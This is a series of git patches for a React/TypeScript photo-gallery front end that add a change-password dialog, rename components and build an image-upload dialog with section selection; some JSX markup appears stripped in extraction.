From 1648319d79ab2766ca5565cdb6f138027d833440 Mon Sep 17 00:00:00 2001 From: Krishna Date: Sat, 21 Jun 2025 12:25:37 +0530 Subject: [PATCH 01/15] Added Change Password option in the User Profile dashboard --- package-lock.json | 1 + package.json | 14 +- src/components/GalleryView/PicturesList.tsx | 4 +- src/components/Profile/ChangePassword.tsx | 268 ++++++++++++++++++++ src/components/Profile/Details.tsx | 27 +- 5 files changed, 309 insertions(+), 5 deletions(-) create mode 100644 src/components/Profile/ChangePassword.tsx diff --git a/package-lock.json b/package-lock.json index e1f8eca..68dcf69 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,6 +7,7 @@ "": { "name": "react-app", "version": "0.0.0", + "license": "ISC", "dependencies": { "@types/js-cookie": "^3.0.6", "framer-motion": "^12.9.2", diff --git a/package.json b/package.json index 64fb31e..6c5192d 100644 --- a/package.json +++ b/package.json @@ -27,5 +27,17 @@ "tailwindcss": "^3.4.17", "typescript": "^4.9.3", "vite": "^4.1.0" - } + }, + "main": "postcss.config.js", + "repository": { + "type": "git", + "url": "git+https://github.com/addyuchiha/react-app.git" + }, + "author": "", + "license": "ISC", + "bugs": { + "url": "https://github.com/addyuchiha/react-app/issues" + }, + "homepage": "https://github.com/addyuchiha/react-app#readme", + "description": "" } diff --git a/src/components/GalleryView/PicturesList.tsx b/src/components/GalleryView/PicturesList.tsx index 645bf7d..b8329c9 100644 --- a/src/components/GalleryView/PicturesList.tsx +++ b/src/components/GalleryView/PicturesList.tsx @@ -65,7 +65,8 @@ export default function PicturesList({ return <>"loading"; } else { return ( -
+
+
{picturesList.map((picture: Picture) => ( ))}
+
); } } diff --git a/src/components/Profile/ChangePassword.tsx b/src/components/Profile/ChangePassword.tsx new file mode 100644 index 0000000..d09c325 --- /dev/null +++ b/src/components/Profile/ChangePassword.tsx @@ -0,0 +1,268 @@ +import { useState, FormEvent, MouseEvent } from "react"; +import getAuthToken from "../../scripts/auth/getAuthToken"; +import { useNavigate } from "react-router-dom"; +import { Eye, EyeOff } from "lucide-react"; + +interface Props { + setState: (state: boolean) => void; +} + +interface Errors { + oldPassword: string; + newPassword: string; + confirmPassword: string; +} + +const API_BASE = import.meta.env.VITE_API_BASE_URL; + +function ChangePassword({ setState }: Props) { + const navigate = useNavigate(); + + const [oldPassword, setOldPassword] = useState(""); + const [newPassword, setNewPassword] = useState(""); + const [confirmPassword, setConfirmPassword] = useState(""); + const [errors, setErrors] = useState({ + oldPassword: "", + newPassword: "", + confirmPassword: "", + }); + const [isLoading, setIsLoading] = useState(false); + const [successState, setSuccessState] = useState(false); + const [error, setError] = useState(null); + + // New state for toggling visibility + const [showOld, setShowOld] = useState(false); + const [showNew, setShowNew] = useState(false); + const [showConfirm, setShowConfirm] = useState(false); + + const handleClose = () => setState(false); + + const validateForm = (): boolean => { + const newErrors: Errors = { + oldPassword: "", + newPassword: "", + confirmPassword: "", + }; + + if (!oldPassword.trim()) newErrors.oldPassword = "Old password is required"; + if (!newPassword.trim()) newErrors.newPassword = "New password is required"; + else if (newPassword.length < 6) newErrors.newPassword = "New password must be at least 6 characters"; + if (newPassword !== confirmPassword) newErrors.confirmPassword = "Passwords do not match"; + + setErrors(newErrors); + return Object.values(newErrors).every((v) => v === ""); + }; + + const handleSubmit = async (e: FormEvent) => { + e.preventDefault(); + if (!validateForm()) return; + + setIsLoading(true); + setError(null); + + try { + const token = await getAuthToken(navigate); + + const res = await fetch(`${API_BASE}/api/user/change_password`, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${token}`, + }, + body: JSON.stringify({ oldPassword, newPassword }), + }); + + const data = await res.json(); + + if (res.ok) { + setSuccessState(true); + setTimeout(() => { + navigate("/profile"); + }, 1500); + } else if (data.errors) { + const newErrors: Errors = { + oldPassword: "", + newPassword: "", + confirmPassword: "", + }; + data.errors.forEach((err: { field: string; message: string }) => { + if (err.field in newErrors) newErrors[err.field as keyof Errors] = err.message; + }); + setErrors(newErrors); + } else { + setError(data.message || "Something went wrong"); + } + } catch (err) { + setError("Network error or unexpected issue."); + } finally { + setIsLoading(false); + } + }; + + const handleOutsideClick = (e: MouseEvent) => { + if (e.target === e.currentTarget && !isLoading) handleClose(); + }; + + const handleFormClick = (e: MouseEvent) => { + e.stopPropagation(); + }; + + const renderPasswordField = ( + label: string, + name: string, + value: string, + onChange: (e: React.ChangeEvent) => void, + errorMsg: string, + show: boolean, + toggleShow: () => void + ) => ( +
+ + +
+ + +
+ + {errorMsg &&

{errorMsg}

} +
+ + + ); + + return ( +
+
+
+
+

Change Password

+ +
+ + {error && ( +
+ + + + {error} +
+ )} + +
+ {renderPasswordField( + "Old Password", + "oldPassword", + oldPassword, + (e) => setOldPassword(e.target.value), + errors.oldPassword, + showOld, + () => setShowOld((prev) => !prev) + )} + + {renderPasswordField( + "New Password", + "newPassword", + newPassword, + (e) => setNewPassword(e.target.value), + errors.newPassword, + showNew, + () => setShowNew((prev) => !prev) + )} + + {renderPasswordField( + "Confirm Password", + "confirmPassword", + confirmPassword, + (e) => setConfirmPassword(e.target.value), + errors.confirmPassword, + showConfirm, + () => setShowConfirm((prev) => !prev) + )} + +
+ + +
+
+
+
+
+ ); +} + +export default ChangePassword; + \ No newline at end of file diff --git a/src/components/Profile/Details.tsx b/src/components/Profile/Details.tsx index f0ee0b1..50c8c81 100644 --- a/src/components/Profile/Details.tsx +++ b/src/components/Profile/Details.tsx @@ -3,38 +3,59 @@ import useUserState from "../../scripts/auth/useState"; import { LogOut, User2 } from "lucide-react"; import { useNavigate } from "react-router-dom"; import SubscriptionDetails from "./SubscriptionDetails"; +import ChangePassword from "./ChangePassword"; +import { useState } from "react"; export default function Details() { const user = useUserState(); const navigate = useNavigate(); + const [showChangePasswordDialog, setShowChangePasswordDialog] = useState(false); + const signOut = () => { Cookies.remove("accessToken"); Cookies.remove("refreshToken"); navigate("/sign-in"); }; + const forgetPassword = () => { + setShowChangePasswordDialog(true); + }; + return ( -
+
- + {user.firstName} {user.lastName} {user.email}
+ + + + + + {showChangePasswordDialog && ( + + )}
); } From f786da05076effecc6508ed8999d1148bc2c47f4 Mon Sep 17 00:00:00 2001 From: Krishna Date: Sat, 21 Jun 2025 13:00:22 +0530 Subject: [PATCH 02/15] Fixed Minor Bugs --- src/components/Profile/ChangePassword.tsx | 2 +- src/components/Profile/Details.tsx | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/components/Profile/ChangePassword.tsx b/src/components/Profile/ChangePassword.tsx index d09c325..b2b7ed1 100644 --- a/src/components/Profile/ChangePassword.tsx +++ b/src/components/Profile/ChangePassword.tsx @@ -77,7 +77,7 @@ function ChangePassword({ setState }: Props) { if (res.ok) { setSuccessState(true); setTimeout(() => { - navigate("/profile"); + setState(false); }, 1500); } else if (data.errors) { const newErrors: Errors = { diff --git a/src/components/Profile/Details.tsx b/src/components/Profile/Details.tsx index 50c8c81..93fdd0e 100644 --- a/src/components/Profile/Details.tsx +++ b/src/components/Profile/Details.tsx @@ -40,9 +40,9 @@ export default function Details() { {showChangePasswordDialog && ( - + )} +
); } diff --git a/src/components/Profile/ResetPassword.tsx b/src/components/Profile/ResetPasswordDialog.tsx similarity index 99% rename from src/components/Profile/ResetPassword.tsx rename to src/components/Profile/ResetPasswordDialog.tsx index b2b7ed1..5507490 100644 --- a/src/components/Profile/ResetPassword.tsx +++ b/src/components/Profile/ResetPasswordDialog.tsx @@ -15,7 +15,7 @@ interface Errors { const API_BASE = import.meta.env.VITE_API_BASE_URL; -function ChangePassword({ setState }: Props) { +function ResetPasswordDialog({ setState }: Props) { const navigate = useNavigate(); const [oldPassword, setOldPassword] = useState(""); @@ -264,5 +264,5 @@ function ChangePassword({ setState }: Props) { ); } -export default ChangePassword; +export default ResetPasswordDialog; \ No newline at end of file From 5c9e7c589aeb70f45f5fe191a414eb24339e3007 Mon Sep 17 00:00:00 2001 From: Krishna Date: Sat, 21 Jun 2025 14:09:56 +0530 Subject: [PATCH 09/15] fixed naming conventions --- src/components/Profile/Details.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/components/Profile/Details.tsx b/src/components/Profile/Details.tsx index 07765b0..a99c58d 100644 --- a/src/components/Profile/Details.tsx +++ b/src/components/Profile/Details.tsx @@ -19,7 +19,7 @@ export default function Details() { navigate("/sign-in"); }; - const ResetPassword = () => { + const resetPassword = () => { setShowChangePasswordDialog(true); }; @@ -40,7 +40,7 @@ export default function Details() { + + {isSectionDropdownOpen && ( +
+ {sectionOptions.map((option) => ( + + ))} +
+ )} +
+ {/* Image Preview Grid */} {hasFiles && (
@@ -382,8 +477,12 @@ function UploadDialog({ setState, galleryId, onSuccess, onUploaded }: Props) {
)} + + + + {/* Action Buttons */} -
+
- - {isSectionDropdownOpen && ( -
- {sectionOptions.map((option) => ( - - ))} -
- )} -
- {/* Image Preview Grid */} {hasFiles && (
@@ -477,12 +382,8 @@ const uploadFile = async (uploadFile: UploadFile): Promise => {
)} - - - - {/* Action Buttons */} -
+
- {/* Right section with action buttons */}
-
- - {error && ( -
- - {error} -
- )} - - {/* Image Drop Zone */} -
- -

Drop images here or click to browse

-

Supports JPEG, PNG, GIF, and WebP up to 10MB each

- - -
- - {/* Image Preview Grid */} - {hasFiles && ( -
-

Selected Images ({files.length})

-
- {files.map((uploadFile) => ( -
-
- {uploadFile.previewUrl ? ( - {uploadFile.file.name} - ) : ( -
- -
- )} - - {/* Status Overlay */} - {uploadFile.status === "uploading" && ( -
- - - - -
- )} - - {uploadFile.status === "success" && ( -
- -
- )} - - {uploadFile.status === "error" && ( -
- -
- )} - - {/* Remove Button */} - {uploadFile.status === "pending" && ( - - )} -
- - {/* File Info */} -
-

{uploadFile.file.name}

-

{formatFileSize(uploadFile.file.size)}

-
-
- ))} -
-
- )} - - {/* Action Buttons */} -
- - -
-
- - - ) -} - +"use client" + +import { useState, useRef, type ChangeEvent, type MouseEvent, type DragEvent } from "react" +import { Upload, X, CheckCircle, AlertCircle, ImageIcon } from "lucide-react" +import getAuthToken from "../../scripts/auth/getAuthToken" +import { useNavigate } from "react-router-dom" + +const API_BASE = import.meta.env.VITE_API_BASE_URL + +interface Props { + setState: (state: boolean) => void + galleryId: string + onSuccess?: () => void + onUploaded: () => void +} + +interface UploadFile { + file: File + id: string + status: "pending" | "uploading" | "success" | "error" + progress: number + error?: string + previewUrl?: string +} + +interface ApiResponse { + message?: string + [key: string]: any +} + +function UploadDialog({ setState, galleryId, onSuccess, onUploaded }: Props) { + const [files, setFiles] = useState([]) + const [isUploading, setIsUploading] = useState(false) + const [isDragOver, setIsDragOver] = useState(false) + const [error, setError] = useState(null) + const fileInputRef = useRef(null) + const navigate = useNavigate() + const [allUploadsSuccessful, setAllUploadsSuccessful] = useState(false) + + const generateId = () => Math.random().toString(36).substr(2, 9) + + const validateFile = (file: File): string | null => { + // Check file size (max 10MB) + if (file.size > 25 * 1024 * 1024) { + return "Image size must be less than 25MB" + } + + // Check file type (images only) + const allowedTypes = ["image/jpeg", "image/jpg", "image/png", "image/gif", "image/webp"] + + if (!allowedTypes.includes(file.type)) { + return "Only images are supported (JPEG, PNG, GIF, WebP)" + } + + return null + } + + const createPreviewUrl = (file: File): string => { + return URL.createObjectURL(file) + } + + const addFiles = (newFiles: FileList | File[]) => { + const fileArray = Array.from(newFiles) + const validFiles: UploadFile[] = [] + + fileArray.forEach((file) => { + const validationError = validateFile(file) + if (!validationError) { + // Check for duplicates + const isDuplicate = files.some( + (existingFile) => existingFile.file.name === file.name && existingFile.file.size === file.size, + ) + + if (!isDuplicate) { + validFiles.push({ + file, + id: generateId(), + status: "pending", + progress: 0, + previewUrl: createPreviewUrl(file), + }) + } + } else { + // Show error for invalid files + setError(validationError) + } + }) + + setFiles((prev) => [...prev, ...validFiles]) + } + + const removeFile = (id: string) => { + setFiles((prev) => { + const fileToRemove = prev.find((file) => file.id === id) + if (fileToRemove?.previewUrl) { + URL.revokeObjectURL(fileToRemove.previewUrl) + } + return prev.filter((file) => file.id !== id) + }) + } + + const handleFileSelect = (e: ChangeEvent) => { + if (e.target.files) { + addFiles(e.target.files) + } + } + + const handleDragOver = (e: DragEvent) => { + e.preventDefault() + setIsDragOver(true) + } + + const handleDragLeave = (e: DragEvent) => { + e.preventDefault() + setIsDragOver(false) + } + + const handleDrop = (e: DragEvent) => { + e.preventDefault() + setIsDragOver(false) + + if (e.dataTransfer.files) { + addFiles(e.dataTransfer.files) + } + } + + const uploadFile = async (uploadFile: UploadFile): Promise => { + try { + const accessToken = await getAuthToken(navigate) + const formData = new FormData() + formData.append("file", uploadFile.file) + + // Update file status to uploading + setFiles((prev) => prev.map((f) => (f.id === uploadFile.id ? { ...f, status: "uploading", progress: 0 } : f))) + + const response = await fetch(`${API_BASE}/api/gallery/${galleryId}/upload`, { + method: "POST", + headers: { + Authorization: `Bearer ${accessToken}`, + }, + body: formData, + }) + + const data: ApiResponse = await response.json() + + if (!response.ok) { + throw new Error(data.message || "Failed to upload image") + } + + // Update file status to success + setFiles((prev) => prev.map((f) => (f.id === uploadFile.id ? { ...f, status: "success", progress: 100 } : f))) + } catch (err) { + const errorMessage = err instanceof Error ? err.message : "Upload failed" + + // Update file status to error + setFiles((prev) => + prev.map((f) => (f.id === uploadFile.id ? { ...f, status: "error", progress: 0, error: errorMessage } : f)), + ) + + // Re-throw the error so the calling function knows this upload failed + throw err + } + } + + const handleUpload = async () => { + if (files.length === 0) return + + setIsUploading(true) + setError(null) + + try { + const pendingFiles = files.filter((f) => f.status === "pending") + const results: Array<{ id: string; success: boolean }> = [] + + // Upload files sequentially and track results + for (const file of pendingFiles) { + try { + await uploadFile(file) + results.push({ id: file.id, success: true }) + } catch (err) { + results.push({ id: file.id, success: false }) + } + } + + // Check if all uploads were successful + const allSuccessful = results.every((result) => result.success) + + // Update state with final results to ensure UI reflects the correct status + setFiles((currentFiles) => { + return currentFiles.map((file) => { + const result = results.find((r) => r.id === file.id) + if (result && !result.success && file.status !== "success") { + return { ...file, status: "error" as const, error: "Upload failed" } + } + return file + }) + }) + + if (allSuccessful) { + setAllUploadsSuccessful(true) + setTimeout(() => { + if (onSuccess) { + onSuccess() + } + handleClose() + onUploaded() + }, 1500) + } else { + setError("Some images failed to upload. Please try again.") + } + } catch (err) { + setError("Upload process encountered an error. Please try again.") + } finally { + setIsUploading(false) + } + } + + const handleClose = (): void => { + // Clean up preview URLs + files.forEach((file) => { + if (file.previewUrl) { + URL.revokeObjectURL(file.previewUrl) + } + }) + setState(false) + } + + const handleOutsideClick = (e: MouseEvent): void => { + if (e.target === e.currentTarget && !isUploading) { + handleClose() + } + } + + const handleFormClick = (e: MouseEvent): void => { + e.stopPropagation() + } + + const formatFileSize = (bytes: number): string => { + if (bytes === 0) return "0 Bytes" + const k = 1024 + const sizes = ["Bytes", "KB", "MB", "GB"] + const i = Math.floor(Math.log(bytes) / Math.log(k)) + return Number.parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + " " + sizes[i] + } + + const pendingFiles = files.filter((f) => f.status === "pending") + const hasFiles = files.length > 0 + const canUpload = pendingFiles.length > 0 && !isUploading + + return ( +
+
+
+
+

Upload Images

+ +
+ + {error && ( +
+ + {error} +
+ )} + + {/* Image Drop Zone */} +
+ +

Drop images here or click to browse

+

Supports JPEG, PNG, GIF, and WebP up to 10MB each

+ + +
+ + {/* Image Preview Grid */} + {hasFiles && ( +
+

Selected Images ({files.length})

+
+ {files.map((uploadFile) => ( +
+
+ {uploadFile.previewUrl ? ( + {uploadFile.file.name} + ) : ( +
+ +
+ )} + + {/* Status Overlay */} + {uploadFile.status === "uploading" && ( +
+ + + + +
+ )} + + {uploadFile.status === "success" && ( +
+ +
+ )} + + {uploadFile.status === "error" && ( +
+ +
+ )} + + {/* Remove Button */} + {uploadFile.status === "pending" && ( + + )} +
+ + {/* File Info */} +
+

{uploadFile.file.name}

+

{formatFileSize(uploadFile.file.size)}

+
+
+ ))} +
+
+ )} + + {/* Action Buttons */} +
+ + +
+
+
+
+ ) +} + export default UploadDialog \ No newline at end of file diff --git a/src/components/GalleryView/Picture.tsx b/src/components/GalleryView/Picture.tsx index 9db47be..d4c0610 100644 --- a/src/components/GalleryView/Picture.tsx +++ b/src/components/GalleryView/Picture.tsx @@ -1,84 +1,84 @@ -import { useState } from "react"; -import Delete from "./Picture/Delete"; - -interface Picture { - filename: string; - mimeType: string; - guid: string; - path: string; - thumbnailPath: string; - watermarkPath: string; - url: string; - thumbnailUrl: string; - watermarkUrl: string; -} - -interface Props { - picture: Picture; - galleryGuid: string -} - -function PictureContainer({ picture, galleryGuid }: Props) { - const [deleteState, setDeleteState] = useState(false); - const handleTransfer = () => { - // Implement transfer logic - }; - return ( - <> - {!deleteState || {}} />} -
- - -
- -
- - -
-
- - ); -} - +import { useState } from "react"; +import Delete from "./Picture/Delete"; + +interface Picture { + filename: string; + mimeType: string; + guid: string; + path: string; + thumbnailPath: string; + watermarkPath: string; + url: string; + thumbnailUrl: string; + watermarkUrl: string; +} + +interface Props { + picture: Picture; + galleryGuid: string +} + +function PictureContainer({ picture, galleryGuid }: Props) { + const [deleteState, setDeleteState] = useState(false); + const handleTransfer = () => { + // Implement transfer logic + }; + return ( + <> + {!deleteState || {}} />} +
+ + +
+ +
+ + +
+
+ + ); +} + export default PictureContainer; \ No newline at end of file diff --git a/src/components/GalleryView/Picture/Delete.tsx b/src/components/GalleryView/Picture/Delete.tsx index 0130bae..5c6a937 100644 --- a/src/components/GalleryView/Picture/Delete.tsx +++ b/src/components/GalleryView/Picture/Delete.tsx @@ -1,224 +1,224 @@ -import { useState, type MouseEvent } from "react" -import getAuthToken from "../../../scripts/auth/getAuthToken" -import { useNavigate } from "react-router-dom" - -const API_BASE = import.meta.env.VITE_API_BASE_URL - -interface Props { - setState: (state: boolean) => void - galleryGuid: string - pictureGuid: string - onSuccess?: () => void - onDeleted: () => void -} - -interface ApiResponse { - message?: string - [key: string]: any -} - -function Delete({ setState, galleryGuid, pictureGuid, onSuccess, onDeleted }: Props) { - const [isLoading, setIsLoading] = useState(false) - const [error, setError] = useState(null) - const [successState, setSuccessState] = useState(false) - const navigate = useNavigate() - - const handleDelete = async (): Promise => { - setIsLoading(true) - setError(null) - - try { - const accessToken = await getAuthToken(navigate) - const response = await fetch(`${API_BASE}/api/gallery/${galleryGuid}/remove/${pictureGuid}`, { - method: "DELETE", - headers: { - Authorization: `Bearer ${accessToken}`, - }, - }) - - // const data: ApiResponse = await response.json() - - if (!response.ok) { - throw new Error("Failed to delete picture.") - } - - setSuccessState(true) - setTimeout(() => { - if (onSuccess) { - onSuccess() - } - handleClose() - onDeleted() - }, 1500) - } catch (err) { - setError(err instanceof Error ? err.message : "Something went wrong. Please try again.") - } finally { - setIsLoading(false) - } - } - - const handleClose = (): void => { - setState(false) - } - - // Handler to close popup when clicking outside - const handleOutsideClick = (e: MouseEvent): void => { - if (e.target === e.currentTarget && !isLoading) { - handleClose() - } - } - - // Prevent popup from closing when interacting with content - const handleContentClick = (e: MouseEvent): void => { - e.stopPropagation() - } - - return ( -
-
-
-
-

Delete Picture

- -
- - {error && ( -
- - - - {error} -
- )} - -
-
-
- - - -
-
- -
-

- Are you sure you want to delete this picture? -

-

- This action cannot be undone. The picture will be permanently removed from your gallery. -

-
-
- -
- - -
-
-
-
- ) -} - +import { useState, type MouseEvent } from "react" +import getAuthToken from "../../../scripts/auth/getAuthToken" +import { useNavigate } from "react-router-dom" + +const API_BASE = import.meta.env.VITE_API_BASE_URL + +interface Props { + setState: (state: boolean) => void + galleryGuid: string + pictureGuid: string + onSuccess?: () => void + onDeleted: () => void +} + +interface ApiResponse { + message?: string + [key: string]: any +} + +function Delete({ setState, galleryGuid, pictureGuid, onSuccess, onDeleted }: Props) { + const [isLoading, setIsLoading] = useState(false) + const [error, setError] = useState(null) + const [successState, setSuccessState] = useState(false) + const navigate = useNavigate() + + const handleDelete = async (): Promise => { + setIsLoading(true) + setError(null) + + try { + const accessToken = await getAuthToken(navigate) + const response = await fetch(`${API_BASE}/api/gallery/${galleryGuid}/remove/${pictureGuid}`, { + method: "DELETE", + headers: { + Authorization: `Bearer ${accessToken}`, + }, + }) + + // const data: ApiResponse = await response.json() + + if (!response.ok) { + throw new Error("Failed to delete picture.") + } + + setSuccessState(true) + setTimeout(() => { + if (onSuccess) { + onSuccess() + } + handleClose() + onDeleted() + }, 1500) + } catch (err) { + setError(err instanceof Error ? err.message : "Something went wrong. Please try again.") + } finally { + setIsLoading(false) + } + } + + const handleClose = (): void => { + setState(false) + } + + // Handler to close popup when clicking outside + const handleOutsideClick = (e: MouseEvent): void => { + if (e.target === e.currentTarget && !isLoading) { + handleClose() + } + } + + // Prevent popup from closing when interacting with content + const handleContentClick = (e: MouseEvent): void => { + e.stopPropagation() + } + + return ( +
+
+
+
+

Delete Picture

+ +
+ + {error && ( +
+ + + + {error} +
+ )} + +
+
+
+ + + +
+
+ +
+

+ Are you sure you want to delete this picture? +

+

+ This action cannot be undone. The picture will be permanently removed from your gallery. +

+
+
+ +
+ + +
+
+
+
+ ) +} + export default Delete \ No newline at end of file diff --git a/src/components/GalleryView/PicturesList.tsx b/src/components/GalleryView/PicturesList.tsx index a656f8e..3f1e0a5 100644 --- a/src/components/GalleryView/PicturesList.tsx +++ b/src/components/GalleryView/PicturesList.tsx @@ -1,83 +1,83 @@ -import { useEffect, useState } from "react"; -import getAuthToken from "../../scripts/auth/getAuthToken"; -import { useNavigate } from "react-router-dom"; -import PictureContainer from "./Picture"; - -const API_BASE = import.meta.env.VITE_API_BASE_URL; - -interface Props { - isParentLoading: boolean; - sectionGuid: null | string; - galleryGuid: string; -} - -interface Picture { - filename: string; - mimeType: string; - guid: string; - path: string; - thumbnailPath: string; - watermarkPath: string; - url: string; - thumbnailUrl: string; - watermarkUrl: string; -} - -export default function PicturesList({ - isParentLoading, - sectionGuid, - galleryGuid, -}: Props) { - const [picturesList, setPicturesList] = useState([]); - const [isLoading, setIsLoading] = useState(true); - - const navigate = useNavigate(); - - useEffect(() => { - const fetchPicturesList = async () => { - const accessToken = await getAuthToken(navigate); - try { - const response = await fetch( - `${API_BASE}/api/gallery/${galleryGuid}/images${ - sectionGuid ? `/${sectionGuid}` : "" - }`, - { - method: "GET", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${accessToken}`, - }, - } - ); - const data = await response.json(); - console.log(data); - setPicturesList(data); - setIsLoading(false); - } catch (err) { - console.log(err); - alert("Something went wrong. Please try again later"); - navigate("/"); - } - }; - if (!isParentLoading) { - fetchPicturesList(); - } - }, [isLoading, isParentLoading, sectionGuid]); - if (isLoading || isParentLoading) { - return <>"loading"; - } else { - return ( -
-
- {picturesList.map((picture: Picture) => ( - - ))} -
-
- ); - } -} +import { useEffect, useState } from "react"; +import getAuthToken from "../../scripts/auth/getAuthToken"; +import { useNavigate } from "react-router-dom"; +import PictureContainer from "./Picture"; + +const API_BASE = import.meta.env.VITE_API_BASE_URL; + +interface Props { + isParentLoading: boolean; + sectionGuid: null | string; + galleryGuid: string; +} + +interface Picture { + filename: string; + mimeType: string; + guid: string; + path: string; + thumbnailPath: string; + watermarkPath: string; + url: string; + thumbnailUrl: string; + watermarkUrl: string; +} + +export default function PicturesList({ + isParentLoading, + sectionGuid, + galleryGuid, +}: Props) { + const [picturesList, setPicturesList] = useState([]); + const [isLoading, setIsLoading] = useState(true); + + const navigate = useNavigate(); + + useEffect(() => { + const fetchPicturesList = async () => { + const accessToken = await getAuthToken(navigate); + try { + const response = await fetch( + `${API_BASE}/api/gallery/${galleryGuid}/images${ + sectionGuid ? `/${sectionGuid}` : "" + }`, + { + method: "GET", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${accessToken}`, + }, + } + ); + const data = await response.json(); + console.log(data); + setPicturesList(data); + setIsLoading(false); + } catch (err) { + console.log(err); + alert("Something went wrong. Please try again later"); + navigate("/"); + } + }; + if (!isParentLoading) { + fetchPicturesList(); + } + }, [isLoading, isParentLoading, sectionGuid]); + if (isLoading || isParentLoading) { + return <>"loading"; + } else { + return ( +
+
+ {picturesList.map((picture: Picture) => ( + + ))} +
+
+ ); + } +} diff --git a/src/components/GalleryView/SectionBar.tsx b/src/components/GalleryView/SectionBar.tsx index e4ebb13..c244e04 100644 --- a/src/components/GalleryView/SectionBar.tsx +++ b/src/components/GalleryView/SectionBar.tsx @@ -1,172 +1,172 @@ -import { Plus } from "lucide-react"; -import { useState, useEffect, useRef } from "react"; -import CreateSection from "./Create"; -import getAuthToken from "../../scripts/auth/getAuthToken"; -import { useNavigate } from "react-router-dom"; - -const API_BASE = import.meta.env.VITE_API_BASE_URL; - -interface SectionBarProps { - galleryGuid: string; - setSection: (sectionGuid: string) => void -} - -interface Option { - guid: string; - name: string; - position: number; - createdAt: string; - updatedAt: null | string; -} - -function SectionBarSkeleton(): JSX.Element { - return ( -
-
-
-
-
-
- ); -} - -function SectionBar({ galleryGuid, setSection }: SectionBarProps): JSX.Element { - const [isOpen, setIsOpen] = useState(false); - const [selected, setSelected] = useState("Main"); - const [createState, setCreateState] = useState(false); - const [options, setOptions] = useState([]); - const [isLoading, setIsLoading] = useState(true); - - const dropdownRef = useRef(null); - const navigate = useNavigate(); - - useEffect(() => { - async function getGallerySections() { - const accessToken = await getAuthToken(navigate); - try { - const response = await fetch( - `${API_BASE}/api/gallery/${galleryGuid}/section`, - { - method: "GET", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${accessToken}`, - }, - } - ); - const data = await response.json(); - console.log(data) - setOptions(data); - setIsLoading(false); - } catch (err) { - console.log(err); - alert("Something went wrong. Please try again later"); - navigate("/"); - } - } - getGallerySections(); - }, [isLoading]); - - const main: Option = { - name: "Main", - guid: "", - position: 0, - createdAt: "", - updatedAt: null, - }; - const allOptions: Option[] = [main, ...options]; - - useEffect(() => { - function handleClickOutside(event: MouseEvent): void { - if ( - dropdownRef.current && - !dropdownRef.current.contains(event.target as Node) - ) { - setIsOpen(false); - } - } - - if (isOpen) { - document.addEventListener("mousedown", handleClickOutside); - } - - return () => { - document.removeEventListener("mousedown", handleClickOutside); - }; - }, [isOpen]); - - if (isLoading) { - return ; - } - - return ( - <> - {createState && ( - setIsLoading(true)} - /> - )} -
-
- -
- - {isOpen && ( -
-
- {allOptions.map((option) => ( - - ))} -
- -
-
- )} -
- - ); -} - +import { Plus } from "lucide-react"; +import { useState, useEffect, useRef } from "react"; +import CreateSection from "./Create"; +import getAuthToken from "../../scripts/auth/getAuthToken"; +import { useNavigate } from "react-router-dom"; + +const API_BASE = import.meta.env.VITE_API_BASE_URL; + +interface SectionBarProps { + galleryGuid: string; + setSection: (sectionGuid: string) => void +} + +interface Option { + guid: string; + name: string; + position: number; + createdAt: string; + updatedAt: null | string; +} + +function SectionBarSkeleton(): JSX.Element { + return ( +
+
+
+
+
+
+ ); +} + +function SectionBar({ galleryGuid, setSection }: SectionBarProps): JSX.Element { + const [isOpen, setIsOpen] = useState(false); + const [selected, setSelected] = useState("Main"); + const [createState, setCreateState] = useState(false); + const [options, setOptions] = useState([]); + const [isLoading, setIsLoading] = useState(true); + + const dropdownRef = useRef(null); + const navigate = useNavigate(); + + useEffect(() => { + async function getGallerySections() { + const accessToken = await getAuthToken(navigate); + try { + const response = await fetch( + `${API_BASE}/api/gallery/${galleryGuid}/section`, + { + method: "GET", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${accessToken}`, + }, + } + ); + const data = await response.json(); + console.log(data) + setOptions(data); + setIsLoading(false); + } catch (err) { + console.log(err); + alert("Something went wrong. Please try again later"); + navigate("/"); + } + } + getGallerySections(); + }, [isLoading]); + + const main: Option = { + name: "Main", + guid: "", + position: 0, + createdAt: "", + updatedAt: null, + }; + const allOptions: Option[] = [main, ...options]; + + useEffect(() => { + function handleClickOutside(event: MouseEvent): void { + if ( + dropdownRef.current && + !dropdownRef.current.contains(event.target as Node) + ) { + setIsOpen(false); + } + } + + if (isOpen) { + document.addEventListener("mousedown", handleClickOutside); + } + + return () => { + document.removeEventListener("mousedown", handleClickOutside); + }; + }, [isOpen]); + + if (isLoading) { + return ; + } + + return ( + <> + {createState && ( + setIsLoading(true)} + /> + )} +
+
+ +
+ + {isOpen && ( +
+
+ {allOptions.map((option) => ( + + ))} +
+ +
+
+ )} +
+ + ); +} + export default SectionBar; \ No newline at end of file diff --git a/src/components/GalleryView/TopBar.tsx b/src/components/GalleryView/TopBar.tsx index 17f683a..576ed2d 100644 --- a/src/components/GalleryView/TopBar.tsx +++ b/src/components/GalleryView/TopBar.tsx @@ -1,79 +1,79 @@ -import { FC } from "react"; -import { ChevronLeft, Edit2, Upload, Share2 } from "lucide-react"; -import TopBarSkeleton from "./TopBarSkeleton"; -import SectionBar from "./SectionBar"; - -interface TopBarProps { - galleryGuid: string; - galleryName: string; - isLoading: boolean; - onBack: () => void; - onEdit: () => void; - onUpload: () => void; - onPublish: () => void; - setSection: (sectionGuid: string) => void; -} - -const TopBar: FC = ({ - galleryGuid, - galleryName, - isLoading, - onBack, - onEdit, - onUpload, - onPublish, - setSection, -}) => { - if (isLoading) { - return ; - } else { - return ( -
-
-
- -
-

- {galleryName} -

- -
-
- -
- - - - - -
-
-
